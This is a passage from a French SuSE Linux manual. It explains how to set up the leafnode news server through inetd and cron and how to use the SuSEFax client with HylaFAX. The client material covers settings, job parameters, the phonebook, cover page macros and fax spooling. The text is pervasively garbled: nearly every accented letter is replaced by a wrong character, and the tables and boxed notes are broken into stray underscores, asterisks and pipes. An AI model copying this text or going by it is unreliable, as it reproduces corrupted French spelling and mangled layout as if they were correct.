stocks de donnΘes sous /var/spool/news. Vous trouverez une documen-
tation relative α tous ces composants sous /usr/doc/packages/leafnode
ainsi que dans la page de man de leafnode (man 8 leafnode ) et les autres
+ pages de man qui y sont mentionnΘes.
________________________________________________________________________________________________________*
*________
| Lisez les remarques concernant la mise α jour au paragraphe 15.2.8 *
* |||
| *
* |||
| page 412. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Conditions requises pour la mise en oeuvre de Leafnode
~ Vous devez pouvoir accΘder directement par modem (PPP), par connexion
ISDN ou autre connexion rΘseau (par exemple Ethernet) α un ser-
veur NNTP externe sur lequel vous pouvez retirer les ``news''. En cas
_____________________________________________8
Ne nΘgligeons pas de prΘciser que cette fonction est maintenant adoptΘe par les ``listes de
diffusion'' dans de nombreux domaines.
208
_______________________________________________6.9.__News_:_Les_toutes_derniΦres_nouvelles_de_USENET________________________*
*______________________
de doute, demandez α votre fournisseur d'accΦs Internet (+ FAI) les
donnΘes du serveur NNTP α utiliser.
~ Le paquetage leafnode, sΘrie n doit Ωtre installΘ.
~ Espace disque sous /var/spool/news ;-)
~ Les phases de configuration que nous allons ΘnumΘrer doivent Ωtre exΘcu-
tΘes.
Serveur NNTP local
Vous devez tout d'abord vous assurer que Leafnode tourne comme ser-
veur NNTP local.
1. Positionnez, dans le fichier /etc/rc.config, la variable <NNTPSERVER>
α la valeur localhost . Vous pouvez bien s√r aussi utiliser le ``vΘritable''
nom de votre machine Linux en lieu et place de localhost (par exemple
terre) si vous avez configurΘ votre machine en consΘquence ; ceci est
absolument indispensable dans un environnement rΘseau ! ~ La mΘthode
la plus s√re pour positionner la variable <NNTPSERVER> est d'utiliser
YaST (voir la procΘdure au paragraphe 3.6.12 page 114) car YaST invo-
quera automatiquement_le script SuSEconfig lorsque vous aurez quittΘ le
masque avec |F____1|0.
2. Dans le fichier /etc/leafnode/config, procΘdez α l'aide d'un
+ Θditeur aux modifications indispensables ou souhaitables. Le nom
du serveur NNTP de votre fournisseur d'accΦs doit obligatoirement Ωtre
inscrit dans ce fichier (α server = ).
3. Prenez les dispositions nΘcessaires pour que leafnode soit lancΘ par
inetd . Activez pour cela l'entrΘe nntp dans /etc/inetd.conf en sup-
primant le caractΦre de commentaire (`#', tout dans une ligne !) ; voir
fichier 6.9.1.
4. Lancez de nouveau inetd α la main afin que cette configuration devienne
effective. Vous pouvez pour cela utiliser la commande rcinetd restart .
_______________________________________________________________________________________________________________________||
|||||||| nntp stream tcp nowait news /usr/sbin/tcpd |
|||||||| /usr/sbin/leafnode |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.9.1: EntrΘe inetd pour leafnode
Maintenant tout est prΘparΘ au niveau local et vous pouvez entrer pour la
premiΦre fois en contact avec le serveur de news du fournisseur d'accΦs.
_______________________________________________________________________________________________________________________
|||||||| Avec telnet localhost 119 , vous pouvez vΘrifier si leafnode se mani- ||| |
|||||||| || |
|||||||| feste. Si c'est le cas, tapez la commande quit pour revenir α la ligne de || |
|||||||| commande. || |
||||||||_______________________________________________________________________________________________________________||_
Initialiser et utiliser le systΦme de news
Votre systΦme peut maintenant Ωtre initialisΘ. Si ce n'est pas dΘjα fait, Θtablis-
sez une connection IP avec votre FAI (ce sera en rΦgle gΘnΘrale par modem
*
* 209
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
ou ISDN). Lors du premier contact au moyen de fetchnews , les informations
concernant les groupes disponibles sont retirΘes sur le serveur de news distant
et placΘes sous /var/spool/news/interesting.groups. Si vous voulez
suivre les dΘtails des opΘrations exΘcutΘes par fetchnews , utilisez -vvv :
terre:~ # fetchnews -vvv
Aucun article n'est encore disponible ~ il n'en faut pas moins lancer un lec-
teur de news supportant NNTP et jeter un coup d'oeil dans les groupes (encore
vides) ; voir paragraphe 6.9.1. leafnode enregistre cela et lors de la prochaine
invocation de fetchnews c'est dans ces groupes que seront placΘs les articles.
Si vous ne voulez pas entrer manuellement la commande fetchnews α
chaque fois que vous ``allez en ligne'', vous pouvez l'insΘrer par exemple
dans votre script /etc/ppp/ip-up.
GΘrer le systΦme de news
leafnode a ΘtΘ conτu de telle maniΦre qu'il peut se gΘrer lui-mΩme dans une
trΦs large mesure. Cela signifie que si aucun utilisateur ne lit plus certains
infogroupes, ceux-ci ne seront plus recherchΘs par fetchnews aprΦs l'Θcou-
lement d'un dΘlai dΘterminΘ. Il suffit en fait de veiller α ce que les vieux
articles soient supprimΘs. Cette tΓche est assumΘe par texpire et une entrΘe
est dΘjα prΘvue α cette fin dans /etc/crontab ~ supprimez le caractΦre de
commentaire `#' comme il vous est montrΘ dans le fichier 6.9.2 (tout dans
une ligne !).
________________________________________________________________________________________________________*
*________
| 0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.9.2: EntrΘe Expire pour leafnode dans /etc/crontab
Vous trouverez des informations sur les configurations qui peuvent Ωtre effec-
tuΘes α l'aide du fichier /etc/leafnode/config ~ comme nous l'avons dit
prΘcΘdemment ~ dans la page de man de leafnode (man leafnode ).
Lecture des news
Pour la lecture des news, vous disposez de diffΘrents programmes tels que par
exemple nn , tin ou pine . Mais vous pouvez utiliser Netscape ou Emacs . Le
choix d'un lecteur de news est uniquement une question de go√t personnel.
Les lecteurs de news peuvent Ωtre configurΘs aussi bien pour l'accΦs α un
serveur de news ~ comme il est courant dans un rΘseau ~ que pour l'accΦs au
rΘpertoire de spool local. Vous trouverez des paquetages configurΘs de faτon
appropriΘe dans la sΘrie n de SuSE Linux.
Si vous voulez accΘder au serveur NNTP leafnode avec tin (voir para-
graphe 6.9.1 page 208 et pages suivantes), lancez ce lecteur de news par la
commande rtin .
6.10 Linux et le fax
Si vous voulez utiliser un PC Linux comme machine de fax, deux possibilitΘs
s'offrent α vous :
210
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
~ Vous pouvez utiliser mgetty conjointement α sendfax et, par exemple, les
outils du paquetage g3utils,
~ ou vous pouvez utiliser le serveur de fax HylaFAX en combinaison par
exemple avec SuSEFax , le nouveau frontal de fax de SuSE , Θcrit entiΦre-
ment en Java.
_______________________________________________________________________________________________________________________||
|||||||| Depuis la version 6.3 de SuSE Linux, le paquetage mgetty est subdivisΘ ||| |
|||||||| || |
|||||||| en trois paquetages : le paquetage mgetty, le paquetage g3utils et le pa- || |
|||||||| quetage sendfax car le paquetage hylafax contient quelques commandes || |
|||||||| || |
|||||||| ayant le mΩme nom que celles contenues dans le paquetage sendfax. || |
||||||||_______________________________________________________________________________________________________________||_
Les deux prochains paragraphes dΘcrivent comment configurer et utiliser
SuSEFax et HylaFAX sous SuSE Linux.
6.10.1 SuSEFax ~ Un client pour HylaFAX
Comme nous l'avons dit prΘcΘdemment, SuSEFax est Θcrit en Java. Cela si-
gnifie que le ``Java Developers Kit'' doit Ωtre installΘ conjointement au paque-
tage susefax. Si vous souhaitez utiliser SuSEFax sur une autre plate-forme,
la meilleure chose α faire est d'installer le paquetage susefax et de copier
tous les fichiers qui se trouvent sous /usr/lib/SuSEFax.
Le wrapper
SuSEFax est lancΘ par un petit script. Il s'agit de ce que l'on appelle un
``wrapper'' qui invoque l'interprΘteur Java avec les paramΦtres nΘcessaires
et vΘrifie si certaines conditions sont remplies. On trouve ce script sous
/usr/X11/bin/susefax. Il est possible de paramΘtrer le programme avec
des variables d'environnement indΘpendantes du systΦme (Linux) qui sont
les propriΘtΘs du systΦme . Le tableau 6.2 page suivante montre les propriΘtΘs
connues du systΦme, leur signification et les valeurs internes qui sont uti-
lisΘes par dΘfaut si ces paramΦtres ne sont pas transmis α l'interprΘteur. └
l'exception du paramΦtre susefax.images, il n'est gΘnΘralement pas utile
de spΘcifier ces paramΦtres lorsque le programme tourne sur un systΦme
d'exploitation multiutilisateur. Il est ici question de systΦmes qui permettent
d'attribuer α un utilisateur dΘterminΘ un rΘpertoire personnel dΘterminΘ
(tous les systΦmes UNIX et Windows NT mais pas OS/2 ). Si ce n'est pas
possible avec votre systΦme, vous devrez dΘfinir les valeurs pour suse-
fax.setup.path, susefax.setup.file et susefax.phonebook.file,
sinon le programme risque de ne pas fonctionner. Il n'a toutefois pas encore
ΘtΘ fait de tests α ce sujet.
Si vous voulez modifier un ou plusieurs de ces paramΦtres, vous devrez seule-
ment effacer le caractΦre de commentaire qui suit le nom de la variable (voir
fichier 6.10.1 page suivante).
Utilisation
La figure 6.7 page 213 montre l'aspect de la fenΩtre principale lorsque le
bouton `Send queue' a ΘtΘ activΘ et que l'on s'est procurΘ α l'aide du bouton
*
* 211
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*____________
| PropriΘtΘ | Valeur par | Signification *
* |
||________________________________________||_____dΘfaut_______________||________________________________*
*___________||__
| susefax.setup.path | $HOME | Chemin d'accΦs au rΘper- *
* |
| | | *
* |
| | | toire dans lequel le fichier*
* |
| | | de configuration et la base *
* |
| | | *
* |
| | | de donnΘes annuaire tΘlΘ- *
* |
| | | *
* |
|______________________________|______________________________________|_phonique_doivent_Ωtre_placΘs____*
*___________|_
| susefax.setup.file | .susefaxrc | Nom sous lequel le fichier *
* |
| | | *
* |
|______________________________|______________________________________|_de_configuration_est_stockΘ_____*
*___________|_||||
| susefax.phonebook.file | .susephone | Nom sous lequel la base de *
* |
| | | donnΘes annuaire tΘlΘpho- *
* |
| | | *
* |
|__________________________|__________________________________________|_nique_doit_Ωtre_stockΘe_________*
*___________|_||||
| susefax.images | ./images | Chemin d'accΦs au rΘper- *
* |
| | | toire contenant les images *
* |
| | | *
* |
|__________________________________|__________________________________|_nΘcessaires_aux_dialogues_______*
*___________|_
Tab. 6.2: Les propriΘtΘs du systΦme de SuSEFax
________________________________________________________________________________________________________*
*________||
| # if you want to store the settings other than *
* |
| *
* |
| # $HOME/.susefaxrc, then you may place another path and/or *
* |
| # filename here *
* |
| *
* |
| *
* |
| SETUPDIR= # -Dsusefax.setup.path=/wo/auch/immer *
* |
| SETUPFILE= # -Dsusefax.setup.file=/was/auch/immer *
* |
| *
* |
| *
* |
| # even the phonebook can be renamed to whatever *
* |
| *
* |
| *
* |
| PHONEBOOK= # -Dsusefax.phonebook.file=wieauchimmer *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.10.1: Extrait du script wrapper : /usr/X11/bin/susefax
`Fetch states' des informations sur les jobs de la file d'envoi, α savoir les
fax envoyΘs au cours des derniΦres minutes. Lorsque le bouton `Receive
queue' a ΘtΘ activΘ, il est Θtabli une liste des fax reτus au cours des derniΦres
minutes. Si vous sΘlectionnez le bouton `Update information', le statut
du serveur sera automatiquement actualisΘ α une frΘquence que vous pourrez
dΘterminer dans le champ situΘ en_dessous._Le choix de l'intervalle entre les
mises α jour sera validΘ par |_____-|. En fonction du bouton activΘ, `Receive
queue' ou `Send queue', il sera affichΘ α droite de la liste des jobs l'action
dΘclenchΘe par un double clic sur une entrΘe de la liste. En mode `Send
queue', vous pouvez en outre dΘcider si un double clic doit provoquer la
suppression d'un job se trouvant dans la file ou si ses paramΦtres doivent Ωtre
modifiΘs. Dans le menu `Extras', vous pouvez choisir la langue que vous
dΘsirez (anglais ou allemand , le franτais n'Θtant pas encore disponible).
Commenτons par la configuration
Avant qu'il ne soit possible d'obtenir des informations sur le serveur ou de
lancer des processus, le programme doit Ωtre configurΘ. Cela se fait avec
l'option `Main settings' du menu `Program'. Toutes les configurations
212
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
Fig. 6.7: Send queue
sont enregistrΘes lorsque vous quittez l'un des dialogues de configuration. Si
vous quittez le programme, l'Θtat actuel de la configuration sera Θgalement
enregistrΘ.
Configuration globale
Signification des diffΘrents champs :
Username : Le prΘnom et le nom de l'utilisateur sont spΘcifiΘs ici. Cette
information est nΘcessaire pour crΘer une page de garde de fax.
EMail : Les messages du serveur de fax seront envoyΘs α l'adresse E-mail
indiquΘe ici, dans le cas par exemple ou un fax a ΘtΘ supprimΘ de la file
d'envoi sans que le serveur ait pu l'envoyer.
User account : Le serveur de fax est capable de distinguer les utilisateurs et
peut leur accorder ou leur refuser l'accΦs. Pour cette raison, il est nΘces-
saire d'entrer ici le nom du compte sous lequel l'utilisateur est connu du
serveur. Il est Θgalement possible d'attribuer un mot de passe α un utilisa-
teur.
*
* 213
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Fig. 6.8: Dialogue pour la configuration globale
Hostname of the faxerver : Il s'agit ici du nom de la machine sur laquelle
fonctionne votre serveur de fax.
Automatic faxing : Lorsque ce bouton est activΘ, le fichier spΘficiΘ sous
`Spool file' est vΘrifiΘ α des intervalles de quelques secondes. Si ce
fichier a ΘtΘ modifiΘ, le dialogue `Send fax' est automatiquement ou-
vert. Cette option est particuliΦrement utile lorsque l'on imprime directe-
ment dans un fichier au moyen d'un pilote d'imprimante depuis une autre
application. Il est ainsi possible d'envoyer un fax depuis n'importe quelle
application α condition que celle-ci soit capable de convertir le document
en PostScript (voir paragraphe 6.10.3 page 221).
Spool file : Vous devez indiquer ici le chemin complet vers le fichier en at-
tente si vous souhaitez que les fax soient envoyΘs automatiquement. Un
clic sur le bouton `Search' ouvre un exploreur (angl. browser) avec le-
quel on peut rechercher un tel fichier
Fax cover : Pour la crΘation d'une page de garde de fax, on a besoin d'un
fichier PostScript spΘcial. Le nom complet du chemin d'accΦs α ce fichier
est spΘcifiΘ ici.
Time zone : La zone horaire devrait Ωtre la mΩme que celle configurΘe sur le
systΦme local.
Country : La configuration du pays dΘtermine la prΘsentation des dates et
horaires, par exemple sur la page de garde de vos fax.
214
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
Fig. 6.9: Dialogue pour les paramΦtres des jobs
ParamΦtres des jobs
AprΦs avoir effectuΘ correctement la configuration globale, vous pourrez en-
voyer votre premier fax. Un fax ou un fichier qui a ΘtΘ Θmis devient un job sur
le serveur de fax. Il attend dans la file d'envoi, Θventuellement avec d'autres
jobs, d'Ωtre expΘdiΘ. Il existe des paramΦtres pour chaque job. Ils sont dΘter-
minΘs avant et aprΦs le placement des jobs dans la file d'envoi. Avant l'en-
voi, cela se fait par le dialogue `Job settings' qui est accessible via `Ex-
tras'. Signification des diffΘrents paramΦtres :
Notification Scheme : On dΘtermine ici α quel moment le serveur de fax fera
parvenir un message α l'utilisateur dont l'adresse E-mail a ΘtΘ configurΘe.
Il existe quatre schΘmas diffΘrents
~ Never (only errors) : L'utilisateur ne sera informΘ que s'il s'est pro-
duit une erreur qui a eu pour consΘquence de faire Θchouer l'envoi du
job.
~ After sending : L'utilisateur sera aussi informΘ aprΦs l'envoi d'un fax.
~ After a `Requeue' : L'utilisateur sera informΘ si une tentative d'envoi
a ΘchouΘ du fait, par exemple, que la machine distante Θtait occupΘe
*
* 215
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
~ After `Requeue' and `Sending :' Une combinaison des deux prΘ-
cΘdents schΘmas.
Le premier schΘma s'applique dans tous les cas. Cela signifie que mΩme
si l'on choisit par exemple le deuxiΦme schΘma, l'utilisateur sera informΘ
si l'envoi du job a ΘchouΘ.
Resolution : On dΘtermine ici la rΘsolution du fax envoyΘ. Elle est mesurΘe
en nombre de lignes par pouce (lpi).
Priority : La prioritΘ d'un job dans la file d'envoi. La valeur par dΘfaut est
fixΘe α 127 . Le serveur de fax modifie l'ordre des prioritΘs en cas de
besoin, dans le cas par exemple o∙ l'envoi d'un job a ΘchouΘ α cause
d'une ligne occupΘe.
Maximum tries to sent : On dΘtermine ici le nombre de tentatives que le
serveur devra faire pour envoyer un job si par exemple des erreurs de
transmission se sont produites en raison d'une mauvaise qualitΘ de la
ligne.
Maximum tries to dial : Nombre de tentatives d'appel dans le cas par
exemple o∙ l'autre machine est occupΘe ou si elle ne dΘcroche pas.
Paper format : Trois formats de papier sont supportΘs par SuSEFax : A4,
A3 et ``North American Letter''. Le format sΘlectionnΘ dΘpend du format
du document PostScript α envoyer.
Si vous avez activΘ `Modify job parameter' dans la fenΩtre princi-
pale α c⌠tΘ de la liste des jobs, vous pourrez ouvrir une boεte de dia-
logue par un double clic sur un job et vous pourrez positionner les
paramΦtres `Notification scheme', `Maximum tries to send' et
`Maximum tries to dial' du job que vous avez sΘlectionnΘ.
Visualiseur externe
Si la liste des jobs dans la fenΩtre principale montre le contenu de la file
de rΘception, il est possible de voir un fax reτu α l'aide d'un visualiseur
externe . Le fax lui-mΩme est au format tiffg3 et le visualiseur externe doit
donc Ωtre capable de l'afficher. Ce format permet de placer plusieurs images
dans un fichier. Le programme SuSEFax est accompagnΘ d'un petit script qui
gΘnΦre un document PostScript α l'aide de la commande fax2ps de la TIFF
Software de Sam Leffler (paquetage tiff). Ce document est transmis α un
visualiseur externe. Le script recherche d'abord le programme gv de Johannes
Plass (paquetage gv) et ensuite GhostView de Timothy O. Theisen (paquetage
gs_x11). Son nom est docview et il se trouve sous /usr/lib/SuSEFax.
Signification des entrΘes dans la boεte de dialogue pour le visualiseur externe :
Path to tempory files : SuSEFax place dans ce rΘpertoire l'image au format
tiffg3 rΘcupΘrΘe sur le serveur et remplace le caractΦre joker $F par le
nom complet du chemin d'accΦs α ce fichier.
________________________________________________________________________________________________________*
*________
| L'utilisateur qui a lancΘ SuSEFax doit avoir dans ce rΘpertoire aussi bien *
* |||
| *
* |||
| des droits d'Θcriture que des droits de lecture ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
216
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
Invoking the viewer : Vous devez spΘcifier ici le nom complet du chemin
d'accΦs au programme ou au script qui doit afficher le fichier. Ce pro-
gramme ou script doit accepter comme paramΦtre le chemin d'accΦs au
fichier α visualiser.
Envoi d'un fax
Lorsque les configurations essentielles ont ΘtΘ faites, on doit d'abord vΘri-
fier s'il est possible d'obtenir des informations sur le statut du serveur (voir
page 211). Si ce n'est pas possible, aucun fax ne pourra Ωtre envoyΘ. Il peut
Θventuellement s'avΘrer nΘcessaire de vΘrifier la configuration de SuSEFax
ou du serveur HylaFAX . Si tout a ΘtΘ fait correctement, vous pouvez, en sΘ-
lectionnant l'option du menu `Send fax', ouvrir une boεte de dialogue dont
les champs ont la signification suivante :
Telephone number of the remote host : Le numΘro de tΘlΘphone du des-
tinataire. Un clic sur le bouton `From telephone book' ouvre l'an-
nuaire. Vous pouvez ainsi sΘlectionner directement un numΘro de tΘlΘ-
phone dans l'annuaire.
Document to be send : Le nom complet du chemin d'accΦs au document
α envoyer doit apparaεtre ici. Un clic sur le bouton `Search' ouvre un
exploreur α l'aide duquel vous pouvez sΘlectionner le fichier α envoyer.
Use fax cover : Il n'est possible d'activer ce bouton que si un chemin d'ac-
cΦs α un fichier de pages de garde de fax a ΘtΘ spΘcifiΘ. Si ce bouton a
ΘtΘ activΘ, vous pouvez remplir les champs suivants pour qu'une page de
garde, qui sera ensuite envoyΘe, soit gΘnΘrΘe α partir de ces informations.
Do not send immediatly : En activant ce bouton, vous ouvrez une boεte de
dialogue dans laquelle il est possible de dΘterminer α quel moment le
fax doit Ωtre envoyΘ. Si vous quittez le dialogue avec `Cancel', le fax
sera envoyΘ immΘdiatement, comme il le serait si vous cliquiez sur `Send
fax'. Lorsque vous spΘcifiez la date et l'heure, vous devez tenir compte
de ce qui suit :
~ S'il a ΘtΘ fait une entrΘe dans l'un des champs, la touche d'entrΘe
devrait Ωtre activΘe afin que le programme vΘrifie automatiquement s'il
s'agit d'une date valide. Si ce n'est pas le cas, l'entrΘe sera corrigΘe afin
qu'elle corresponde α une date valide.
Name of sender : Nom de l'Θmetteur. On indique toujours ici le nom qui a
ΘtΘ spΘcifiΘ dans la configuration globale.
Name of recepient : Nom du destinataire
Regarding : Objet
To company : Entreprise destinataire
Comment : Commentaire
La sΘlection de ce bouton `Poll fax' prΘsume que vous avez dΘjα spΘcifiΘ
le numΘro de tΘlΘphone du serveur de fax. Pour cela, il n'est Θvidemment pas
nΘcessaire de spΘcifier un fichier α envoyer.
*
* 217
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Signification des entrΘes dans la liste des jobs
Comme nous l'avons dΘjα mentionnΘ, il est possible d'afficher dans la liste
des jobs aussi bien le contenu de la file d'envoi que celui de la file de rΘ-
ception. Nous allons maintenant vous donner la signification des diffΘrents
ΘlΘments de ces entrΘes.
File de rΘception (Reception queue)
Vous pouvez voir, en lisant de gauche α droite, les droits d'accΦs, la taille en
octets, le nombre de pages, la TSI et le nom du fichier d'un fax reτu. La TSI
(angl. Transmission Subscriber Identification) est une forme d'identification
que la machine distante utilise pour son tΘlΘcopieur. Ce n'est pas obligatoire-
ment un numΘro de tΘlΘphone. Il peut trΦs bien s'agir du nom d'une entreprise
ou de quelque chose d'Θquivalent.
________________________________________________________________________________________________________*
*________||
| Les fax reτus ne peuvent Ωtre visualisΘs par un double clic que si le serveur *
* ||||
| est configurΘ de telle maniΦre que les droits de lecture sont attribuΘs α *
* |||
| *
* |||
| tous les utilisateurs. Pour cela, vous devez inscrire les droits 0644 dans le *
* |||
| fichier /var/spool/fax/etc/config.device (voir paragraphe 6.10.4 *
* |||
| *
* |||
| page 223) derriΦre le mot-clΘ RecvFileMode : *
* |||
|_______________________________________________________________________________________________________*
*________|||_
File d'envoi (send queue)
De gauche α droite, vous pouvez voir l'identification du job (job ID), la prio-
ritΘ, le compte utilisateur, le numΘro de tΘlΘphone du destinataire, l'heure de
l'envoi et/ou le nombre de tentatives d'appel et le nombre maximal de tenta-
tives d'appel. Si une erreur s'est produite, le message d'erreur sera Θgalement
ajoutΘ dans la ligne correspondante. Le job ID est automatiquement assignΘ
par le serveur de fax. La prioritΘ peut Ωtre dΘterminΘe pour chaque job, mais
elle est modifiΘe en cas de besoin par le serveur de fax. Le compte utilisateur
indique quel utilisateur a lancΘ ce job. Seul cet utilisateur peut le supprimer
ou en modifier les paramΦtres.
L'annuaire
Les noms et numΘros de fax peuvent Ωtre gΘrΘs dans l'annuaire (voir fi-
gure 6.10 page suivante). Ceci permet l'affichage et le classement par noms,
prΘnoms, numΘros de fax ou noms d'entreprises. Un double clic sur une en-
trΘe permet d'ouvrir l'Θditeur.
L'Θditeur d'entrΘes est dans ce cas un visualiseur. Si l'on sΘlectionne mainte-
nant une autre entrΘe dans la liste de l'annuaire, celle-ci sera affichΘe dans
l'Θditeur. Si le bouton `Edit' est activΘ dans l'annuaire, il sera possible
d'Θcrire dans les champs de l'Θditeur. L'entrΘe faite peut maintenant Ωtre
ΘditΘe. Si vous activez `Accept entry', les modifications seront prises en
compte. Il est nΘcessaire pour cela que les champs `Surname', `Name' et
`Telefon number' aient ΘtΘ renseignΘs.
Si l'Θditeur se trouve en mode `View entry', un clic sur le bouton `Send
fax' ouvre `Send fax dialogue' et les ΘlΘments `Surname', `Name',
`Telefon number', `Company' et `Comment' seront insΘrΘs dans les
218
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
Fig. 6.10: L'annuaire
champs pour la crΘation de la page de garde (voir page 217). La page de
garde ne sera Θvidemment envoyΘe que si vous avez cliquΘ sur le bouton
`Use fax cover'. Si vous avez exΘcutΘ une action qui fait disparaεtre la
barre de sΘlection dans l'annuaire, par exemple `Sort', le bouton `Send
fax' sera dΘsactivΘ. Vous pourrez le rΘactiver en sΘlectionnant une entrΘe.
En activant le bouton `Add' dans l'annuaire, vous ajoutez une nouvelle entrΘe
α la fin de la liste. `Remove' efface l'entrΘe qui vient d'Ωtre marquΘe. Il ne
sera effectuΘ un classement dans la liste que si vous activez le bouton `Sort'.
Ce classement sera fait par ordre numΘrique et alphabΘtique croissant selon
les critΦres qui se trouvent sous `Shown is'.
Les boutons `Save changes' et `Save & Exit' ne peuvent Ωtre sΘlection-
nΘs que si l'un des boutons `Accept entry', `Sort' ou `Remove' a ΘtΘ
auparavant activΘ.
L'annuaire peut aussi Ωtre utilisΘ en mode `standalone'. Vous devez pour
cela entrer susephone dans le shell et le wrapper sera invoquΘ. Mais dans ce
cas, il ne sera pas possible d'envoyer de fax.
_______________________________________________________________________________________________________________________||
|||||||| Il est dΘconseillΘ de lancer deux fois le programme annuaire sous un ||| |
|||||||| compte utilisateur. Mais si vous le faites quand mΩme, veillez α ce que || |
|||||||| || |
|||||||| l'annuaire ne soit pas sauvegardΘ par la mΩme occasion. || |
||||||||_______________________________________________________________________________________________________________||_
Le dialogue fax sΘrie
Le dialogue fax sΘrie vous permet, α partir des entrΘes de l'annuaire, d'Θtablir
une liste des fax α envoyer en sΘrie. Pour ajouter une ou plusieurs entrΘes α la
liste des fax, vous devez d'abord les sΘlectionner. Il en est de mΩme si vous
dΘsirez supprimer une ou plusieurs entrΘes. La sΘlection se fait soit α l'aide de
la souris, soit par l'un des deux boutons `Toggle'. En activant par exemple
le bouton `(Toggle', vous sΘlectionnerez toutes les entrΘes de la liste qui
ne sont pas encore sΘlectionnΘes et toutes celles qui sont sΘlectionnΘes seront
dΘsΘlectionnΘes. Ceci est Θgalement valable pour la liste des fax sΘrie. Un clic
*
* 219
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
sur le bouton `Send faxes' provoque l'envoi de tous les fax de la liste. Pour
les fax envoyΘs en sΘrie, il n'est pas possible de crΘer automatiquement une
page de garde.
6.10.2 CrΘation automatique de la page de garde
Comme nous l'avons dΘjα mentionnΘ plus haut, la crΘation automatique
d'une page de garde de fax requiert un modΦle de document (angl. tem-
plate) PostScript . Il ne s'agit pas ici d'un fichier pouvant Ωtre interprΘtΘ par
un interprΘteur de PostScript mais d'un fichier contenant des caractΦres de
substitution pour les informations qui sont insΘrΘes lors de la crΘation de la
page de garde. Un tel modΦle de document peut Ωtre plus ou moins diffi-
cile α rΘaliser. Si vous Ωtes familiarisΘ avec les polices de caractΦresALTEX,
vous apprΘcierez s√rement le paquetage latex-cover 9 de R. Krienke. Ce
paquetage permet d'utiliser un style de TEX qui facilite la crΘation d'un tel
modΦle de document. La page de garde de ce paquetage et celle du paquetage
hylafax ont ΘtΘ rΘalisΘes au moyen de latex-cover .
Si vous ne voulez pas l'utiliser, vous devrez crΘer un fichier PostScript ``nor-
mal'' et insΘrer manuellement les macros et les caractΦres de substitution nΘ-
cessaires.
Quels sont les mots-clΘs connus de SuSEFax ?
Si vous modifiez le document TEX, vous devez garder prΘsent α l'esprit que
la version actuelle de SuSEFax ne remplace que les macros suivantes :
__________________________
|__\toperson______|_______
|__\from______________|___
|__\regarding____|________
|__\tocompany____|________
|__\todaysdate__|_________
|__\comments______|_______
Pour tester le modΦle de document que vous avez ΘlaborΘ vous-mΩme, vous
pouvez utiliser le programme faxcover du paquetage hylafax. Il crΘe, α partir
du modΦle de document, un fichier PostScript que vous pouvez visualiser ou
imprimer. Mais vous pouvez aussi utliser le binaire Java FaxCovergen.class
du paquetage susefax pour faire le test. Il vous suffit pour cela d'entrer, dans
un rΘpertoire de votre choix :
tux@terre:/home/tux > java -classpath
/usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen
Vous devriez alors voir l'affichage :
________________________________________________________________________________________________________*
*________
| Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
_____________________________________________9
Ce paquetage est installΘ sous /usr/doc/packages/hylafax lors de l'installation du paque-
tage hylafax.
220
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
La page de garde source est dans ce cas le modΦle de document. DerriΦre
docname.ps se cache le document qui sera transmis lors de l'envoi effectif
du fax. La page de garde ainsi crΘΘe sera stockΘe dans targetcover.ps
et vous pourrez Θgalement la visualiser. Ces arguments seront simplement
ajoutΘs α la fin de la commande mentionnΘe ci-dessus.
6.10.3 Traitement diffΘrΘ des fax sous UNIX /Linux
Le mΘcanisme de spool (traitement diffΘrΘ) sous SuSEFax a en fait ΘtΘ conτu
pour Ωtre utilisΘ sous Windows . Il est cependant possible d'en tirer parti sous
Linux . Il vous suffit pour cela d'installer le paquetage faxprint, sΘrie n
(Support rΘseau).
Si vous convertissez maintenant le fichier /etc/passwd au format PostScript
au moyen, par exemple, de la commande a2ps -nP /etc/passwd | lpr -
Pfax et si vous l'envoyez en le faisant passer par le filtre d'impression nou-
vellement configurΘ, vous devriez pouvoir trouver sous le rΘpertoire /tmp
un fichier du nom de fax_accountname.ps . Ici, accountname est le nom
sous lequel vous vous Ωtes connectΘ au systΦme. Si ce fichier existe, vous
pouvez l'enregistrer comme fichier en attente ainsi qu'il a ΘtΘ dΘcrit au
paragraphe 6.10.1 page 213 et activer le bouton `Automatic fax'.
_______________________________________________________________________________________________________________________||
|||||||| Le mΘcanisme de spool ne peut fonctionner que si le programme SuSEFax ||| |
|||||||| est lancΘ. SuSEFax vΘrifie rΘguliΦrement l'horodatage Lastmodified du || |
|||||||| || |
|||||||| fichier et ouvre une boεte de dialogue si une modification doit Ωtre faite. || |
||||||||_______________________________________________________________________________________________________________||_
6.10.4 HylaFAX ~ Fax rΘpartis
Fonctionnement
L'installation et la configuration de HylaFAX ne sont pas couvertes par l'As-
sistance Technique α l'Installation (voir paragraphe H.1.2 page 558). Nous
sommes cependant volontiers disposΘs α vous venir en aide dans le cadre de
notre Service Pro facturΘ α part (voir paragraphe H.3 page 561).
La figure 6.11 page suivante montre le fonctionnement du serveur de fax et
le principe de l'interaction avec les clients. Ainsi que l'illustration le fait res-
sortir, il existe trois voies de communication entre les clients et le serveur.
